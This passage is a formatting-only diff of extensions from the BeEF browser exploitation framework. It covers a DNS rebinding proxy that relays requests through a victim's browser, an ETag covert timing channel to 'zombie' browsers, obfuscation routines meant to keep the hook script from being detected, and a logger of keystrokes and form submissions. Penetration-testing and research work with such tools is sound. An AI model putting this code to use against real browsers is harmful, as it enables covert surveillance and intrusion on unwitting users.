|
||||||
socket.close
|
socket.close
|
||||||
|
log "[Victim]Respond on OPTIONS reques\n"
|
||||||
|
log "--------------------------------\n"
|
||||||
|
else
|
||||||
|
# Look for queues from beef owner
|
||||||
|
log "[Victim]Waiting for next query..\n"
|
||||||
|
while @queries.size == 0
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get the last query
|
||||||
|
@mutex_queries.lock
|
||||||
|
log "[Victim]Get the last query\n"
|
||||||
|
last_query = @queries.pop
|
||||||
|
log '[Victim]Last query:' + last_query.to_s + "\n"
|
||||||
|
@mutex_queries.unlock
|
||||||
|
|
||||||
|
response = last_query[2]
|
||||||
|
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
|
||||||
|
log "[Victim]Send next query to victim's browser\n"
|
||||||
|
log "---------------------------------------------\n"
|
||||||
|
socket.close
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Handle request from BeEF owner
|
||||||
|
def self.handle_owner(socket, http_message)
|
||||||
|
log "[Owner]Request from owner\n"
|
||||||
|
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
|
||||||
|
|
||||||
|
if http_message['start_string'].include?('GET')
|
||||||
|
unless path.nil?
|
||||||
|
log '[Owner]Need path: ' + path + "\n"
|
||||||
|
@queries.push(['GET', path, ''])
|
||||||
|
end
|
||||||
|
elsif http_message['start_string'].include?('POST')
|
||||||
|
log "[Owner]Get POST request\n"
|
||||||
|
@queries.push(['POST', path, http_message['response']]) unless path.nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
# Waiting for response, this check should not conflict with thread 2
|
||||||
|
while @responses[path].nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
@mutex_responses.lock
|
||||||
|
log "[Owner]Get the response\n"
|
||||||
|
response_a = @responses[path]
|
||||||
|
@mutex_responses.unlock
|
||||||
|
|
||||||
|
response = response_a[1]
|
||||||
|
content_type = response_a[0]
|
||||||
|
|
||||||
|
send_http_response(socket, response, { 'Content-Type' => content_type })
|
||||||
|
|
||||||
|
log "[Owner]Send response to owner\n"
|
||||||
|
log "-------------------------------\n"
|
||||||
|
socket.close
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.run_server(address, port)
|
def self.run_server(address, port)
|
||||||
@server = TCPServer.new(address, port)
|
@server = TCPServer.new(address, port)
|
||||||
@mutex_responses = Mutex.new
|
@mutex_responses = Mutex.new
|
||||||
@mutex_queries = Mutex.new
|
@mutex_queries = Mutex.new
|
||||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
|
||||||
loop do
|
loop do
|
||||||
s = @server.accept
|
s = @server.accept
|
||||||
Thread.new(s) do |socket|
|
Thread.new(s) do |socket|
|
||||||
http_message = read_http_message(socket)
|
http_message = read_http_message(socket)
|
||||||
if http_message['start_string'].include?("from_victim")
|
if http_message['start_string'].include?('from_victim')
|
||||||
handle_victim(socket, http_message)
|
handle_victim(socket, http_message)
|
||||||
else
|
else
|
||||||
handle_owner(socket, http_message)
|
handle_owner(socket, http_message)
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,16 +1,14 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module DNSRebinding
|
module DNSRebinding
|
||||||
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
extend BeEF::API::Extension
|
@short_name = 'DNS Rebinding'
|
||||||
|
@full_name = 'DNS Rebinding'
|
||||||
@short_name = 'DNS Rebinding'
|
@description = 'DNS Rebinding extension'
|
||||||
@full_name = 'DNS Rebinding'
|
end
|
||||||
@description = 'DNS Rebinding extension'
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/dns_rebinding/api.rb'
|
require 'extensions/dns_rebinding/api'
|
||||||
require 'extensions/dns_rebinding/dns_rebinding.rb'
|
require 'extensions/dns_rebinding/dns_rebinding'
|
||||||
|
|||||||
@@ -4,25 +4,22 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ETag
|
module ETag
|
||||||
module API
|
module API
|
||||||
|
module ETagHandler
|
||||||
module ETagHandler
|
BeEF::API::Registrar.instance.register(
|
||||||
BeEF::API::Registrar.instance.register(
|
|
||||||
BeEF::Extension::ETag::API::ETagHandler,
|
BeEF::Extension::ETag::API::ETagHandler,
|
||||||
BeEF::API::Server,
|
BeEF::API::Server,
|
||||||
'mount_handler'
|
'mount_handler'
|
||||||
)
|
)
|
||||||
|
|
||||||
def self.mount_handler(beef_server)
|
def self.mount_handler(beef_server)
|
||||||
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
|
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
|
||||||
print_info "ETag Server: /etag"
|
print_info 'ETag Server: /etag'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,60 +4,58 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ETag
|
module ETag
|
||||||
|
require 'sinatra/base'
|
||||||
|
require 'singleton'
|
||||||
|
|
||||||
require 'sinatra/base'
|
class ETagMessages
|
||||||
require 'singleton'
|
|
||||||
|
|
||||||
class ETagMessages
|
|
||||||
include Singleton
|
include Singleton
|
||||||
attr_accessor :messages
|
attr_accessor :messages
|
||||||
|
|
||||||
def initialize()
|
def initialize
|
||||||
@messages={}
|
@messages = {}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
class ETagWebServer < Sinatra::Base
|
class ETagWebServer < Sinatra::Base
|
||||||
def create_ET_header
|
def create_ET_header
|
||||||
inode = File.stat(__FILE__).ino
|
inode = File.stat(__FILE__).ino
|
||||||
size = 3
|
size = 3
|
||||||
mtime = (Time.now.to_f * 1000000).to_i
|
mtime = (Time.now.to_f * 1_000_000).to_i
|
||||||
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
|
"#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
|
||||||
end
|
end
|
||||||
|
|
||||||
get '/:id/start' do
|
get '/:id/start' do
|
||||||
data = ETagMessages.instance.messages[params[:id].to_i]
|
data = ETagMessages.instance.messages[params[:id].to_i]
|
||||||
|
|
||||||
$etag_server_state = {} unless defined?($etag_server_state)
|
$etag_server_state = {} unless defined?($etag_server_state)
|
||||||
$etag_server_state[params[:id]] = {}
|
$etag_server_state[params[:id]] = {}
|
||||||
$etag_server_state[params[:id]][:cur_bit] = -1
|
$etag_server_state[params[:id]][:cur_bit] = -1
|
||||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||||
$etag_server_state[params[:id]][:message] = data
|
$etag_server_state[params[:id]][:message] = data
|
||||||
|
|
||||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
|
||||||
body "Message start"
|
body 'Message start'
|
||||||
end
|
end
|
||||||
|
|
||||||
get '/:id' do
|
get '/:id' do
|
||||||
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
|
return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
|
||||||
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
|
|
||||||
$etag_server_state[params[:id]][:cur_bit] += 1
|
|
||||||
else
|
|
||||||
$etag_server_state.delete(params[:id])
|
|
||||||
status 404
|
|
||||||
return "Bing"
|
|
||||||
end
|
|
||||||
|
|
||||||
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
|
|
||||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
|
||||||
end
|
|
||||||
|
|
||||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
|
||||||
body "Bit"
|
$etag_server_state[params[:id]][:cur_bit] += 1
|
||||||
|
else
|
||||||
|
$etag_server_state.delete(params[:id])
|
||||||
|
status 404
|
||||||
|
return 'Bing'
|
||||||
|
end
|
||||||
|
|
||||||
|
$etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
|
||||||
|
|
||||||
|
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
|
||||||
|
body 'Bit'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,20 +4,18 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ETag
|
module ETag
|
||||||
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
extend BeEF::API::Extension
|
@short_name = 'ETag'
|
||||||
|
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
|
||||||
@short_name = 'ETag'
|
@description = 'This extension provides a custom BeEF HTTP server ' \
|
||||||
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
|
'that implements unidirectional covert timing channel from ' \
|
||||||
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
|
'BeEF communication server to zombie browser over Etag header.'
|
||||||
'that implement unidirectional covert timing channel from ' +
|
end
|
||||||
'BeEF communication server to zombie browser over Etag header'
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/etag/api.rb'
|
require 'extensions/etag/api'
|
||||||
require 'extensions/etag/etag.rb'
|
require 'extensions/etag/etag'
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ module BeEF
|
|||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
return unless @@enabled
|
return unless @@enabled
|
||||||
|
|
||||||
@techniques ||= load_techniques
|
@techniques ||= load_techniques
|
||||||
|
|
||||||
if @techniques.empty?
|
if @techniques.empty?
|
||||||
@@ -40,7 +41,7 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
chain
|
chain
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
|
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
|
||||||
[]
|
[]
|
||||||
end
|
end
|
||||||
@@ -52,7 +53,7 @@ module BeEF
|
|||||||
|
|
||||||
def add_bootstrapper
|
def add_bootstrapper
|
||||||
bootstrap = ''
|
bootstrap = ''
|
||||||
# add stuff at the end, only once (when serving the initial init javascript)
|
# add stuff at the end, only once (when serving the initial init javascript)
|
||||||
@techniques.each do |technique|
|
@techniques.each do |technique|
|
||||||
# Call the "execute" method of the technique module, passing the input and update
|
# Call the "execute" method of the technique module, passing the input and update
|
||||||
# the input in preperation for the next technique in the chain
|
# the input in preperation for the next technique in the chain
|
||||||
@@ -64,7 +65,7 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
bootstrap
|
bootstrap
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
|
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
|
||||||
print_error e.backtrace
|
print_error e.backtrace
|
||||||
end
|
end
|
||||||
@@ -81,7 +82,7 @@ module BeEF
|
|||||||
|
|
||||||
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
|
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
|
||||||
output
|
output
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
|
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
|
||||||
print_error e.backtrace
|
print_error e.backtrace
|
||||||
end
|
end
|
||||||
@@ -89,4 +90,3 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -4,19 +4,19 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Evasion
|
module Evasion
|
||||||
extend BeEF::API::Extension
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
@short_name = 'evasion'
|
@short_name = 'evasion'
|
||||||
@full_name = 'Evasion'
|
@full_name = 'Evasion'
|
||||||
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
|
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/evasion/evasion'
|
require 'extensions/evasion/evasion'
|
||||||
#require 'extensions/evasion/obfuscation/scramble'
|
# require 'extensions/evasion/obfuscation/scramble'
|
||||||
require 'extensions/evasion/obfuscation/minify'
|
require 'extensions/evasion/obfuscation/minify'
|
||||||
require 'extensions/evasion/obfuscation/base_64'
|
require 'extensions/evasion/obfuscation/base_64'
|
||||||
require 'extensions/evasion/obfuscation/whitespace'
|
require 'extensions/evasion/obfuscation/whitespace'
|
||||||
|
|||||||
@@ -19,16 +19,15 @@ module BeEF
|
|||||||
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
|
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
|
||||||
end
|
end
|
||||||
|
|
||||||
def execute(input, config)
|
def execute(input, _config)
|
||||||
encoded = Base64.strict_encode64(input)
|
encoded = Base64.strict_encode64(input)
|
||||||
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
|
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
|
||||||
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
|
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
|
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
|
||||||
print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded"
|
print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'
|
||||||
input
|
input
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -16,10 +16,10 @@ module BeEF
|
|||||||
|
|
||||||
def execute(input, config)
|
def execute(input, config)
|
||||||
opts = {
|
opts = {
|
||||||
:output => {
|
output: {
|
||||||
comments: :none
|
comments: :none
|
||||||
},
|
},
|
||||||
:compress => {
|
compress: {
|
||||||
# show warnings in debug mode
|
# show warnings in debug mode
|
||||||
warnings: (config.get('beef.debug') ? true : false),
|
warnings: (config.get('beef.debug') ? true : false),
|
||||||
# remove dead code
|
# remove dead code
|
||||||
@@ -31,9 +31,9 @@ module BeEF
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
output = Uglifier.compile(input, opts)
|
output = Uglifier.compile(input, opts)
|
||||||
print_debug "[OBFUSCATION - Minifier] JavaScript has been minified"
|
print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'
|
||||||
output
|
output
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
|
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
|
||||||
input
|
input
|
||||||
end
|
end
|
||||||
@@ -41,4 +41,3 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -18,29 +18,29 @@ module BeEF
|
|||||||
|
|
||||||
to_scramble = config.get('beef.extension.evasion.scramble')
|
to_scramble = config.get('beef.extension.evasion.scramble')
|
||||||
to_scramble.each do |var, value|
|
to_scramble.each do |var, value|
|
||||||
if var == value
|
if var == value
|
||||||
# Variables have not been scrambled yet
|
# Variables have not been scrambled yet
|
||||||
mod_var = BeEF::Core::Crypto::random_alphanum_string(3)
|
mod_var = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||||
@output.gsub!(var,mod_var)
|
@output.gsub!(var, mod_var)
|
||||||
config.set("beef.extension.evasion.scramble.#{var}",mod_var)
|
config.set("beef.extension.evasion.scramble.#{var}", mod_var)
|
||||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
|
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
|
||||||
else
|
else
|
||||||
# Variables already scrambled, re-use the one already created to maintain consistency
|
# Variables already scrambled, re-use the one already created to maintain consistency
|
||||||
@output.gsub!(var,value)
|
@output.gsub!(var, value)
|
||||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
|
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
|
||||||
end
|
end
|
||||||
@output
|
@output
|
||||||
end
|
end
|
||||||
|
|
||||||
if config.get('beef.extension.evasion.scramble_cookies')
|
if config.get('beef.extension.evasion.scramble_cookies')
|
||||||
# ideally this should not be static, but it's static in JS code, so fine for nowend
|
# ideally this should not be static, but it's static in JS code, so fine for nowend
|
||||||
mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5)
|
mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)
|
||||||
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
|
if config.get('beef.http.hook_session_name') == 'BEEFHOOK'
|
||||||
@output.gsub!("BEEFHOOK",mod_cookie)
|
@output.gsub!('BEEFHOOK', mod_cookie)
|
||||||
config.set('beef.http.hook_session_name',mod_cookie)
|
config.set('beef.http.hook_session_name', mod_cookie)
|
||||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
|
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
|
||||||
else
|
else
|
||||||
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
|
@output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))
|
||||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
|
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -51,4 +51,3 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -12,11 +12,10 @@ module BeEF
|
|||||||
def need_bootstrap?
|
def need_bootstrap?
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_bootstrap
|
def get_bootstrap
|
||||||
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
|
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
|
||||||
decode_function =
|
"//Dirty IE6 whitespace bug hack
|
||||||
"//Dirty IE6 whitespace bug hack
|
|
||||||
if (typeof IE_spacer === 'function') {} else {
|
if (typeof IE_spacer === 'function') {} else {
|
||||||
function IE_spacer(css_space) {
|
function IE_spacer(css_space) {
|
||||||
var spacer = '';
|
var spacer = '';
|
||||||
@@ -39,19 +38,18 @@ function IE_spacer(css_space) {
|
|||||||
}}"
|
}}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def execute(input, config)
|
def execute(input, _config)
|
||||||
size = input.length
|
size = input.length
|
||||||
encoded = encode(input)
|
encoded = encode(input)
|
||||||
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
|
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
|
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
|
||||||
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
|
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
|
||||||
input
|
input
|
||||||
end
|
end
|
||||||
|
|
||||||
def encode(input)
|
def encode(input)
|
||||||
output = input.unpack('B*')
|
output = input.unpack('B*')
|
||||||
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
|
output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
|
||||||
output
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,33 +4,28 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Events
|
module Events
|
||||||
|
module PostLoad
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||||
|
|
||||||
module PostLoad
|
def self.post_load
|
||||||
|
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
|
module RegisterHttpHandler
|
||||||
|
# Register API calls
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
def self.post_load
|
#
|
||||||
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable")
|
# Mounts the http handlers for the events extension. We use that to retrieve stuff
|
||||||
print_error 'Event Logger extension is not compatible with WebSockets command and control channel'
|
# like keystroke, mouse clicks and form submission.
|
||||||
|
#
|
||||||
|
def self.mount_handler(beef_server)
|
||||||
|
beef_server.mount('/event', BeEF::Extension::Events::Handler)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
module RegisterHttpHandler
|
|
||||||
|
|
||||||
# Register API calls
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
|
||||||
|
|
||||||
#
|
|
||||||
# Mounts the http handlers for the events extension. We use that to retrieve stuff
|
|
||||||
# like keystroke, mouse clicks and form submission.
|
|
||||||
#
|
|
||||||
def self.mount_handler(beef_server)
|
|
||||||
beef_server.mount('/event', BeEF::Extension::Events::Handler)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,19 +4,17 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Events
|
module Events
|
||||||
|
extend BeEF::API::Extension
|
||||||
extend BeEF::API::Extension
|
|
||||||
|
@short_name = 'events_logger'
|
||||||
@short_name = 'events_logger'
|
|
||||||
|
@full_name = 'events logger'
|
||||||
@full_name = 'events logger'
|
|
||||||
|
@description = 'registers mouse clicks, keystrokes, form submissions'
|
||||||
@description = 'registers mouse clicks, keystrokes, form submissions'
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/events/handler'
|
require 'extensions/events/handler'
|
||||||
|
|||||||
@@ -4,85 +4,80 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Events
|
module Events
|
||||||
|
#
|
||||||
#
|
# The http handler that manages the Events.
|
||||||
# The http handler that manages the Events.
|
#
|
||||||
#
|
class Handler
|
||||||
class Handler
|
Z = BeEF::Core::Models::HookedBrowser
|
||||||
|
|
||||||
Z = BeEF::Core::Models::HookedBrowser
|
def initialize(data)
|
||||||
|
@data = data
|
||||||
def initialize(data)
|
setup
|
||||||
@data = data
|
|
||||||
setup()
|
|
||||||
end
|
|
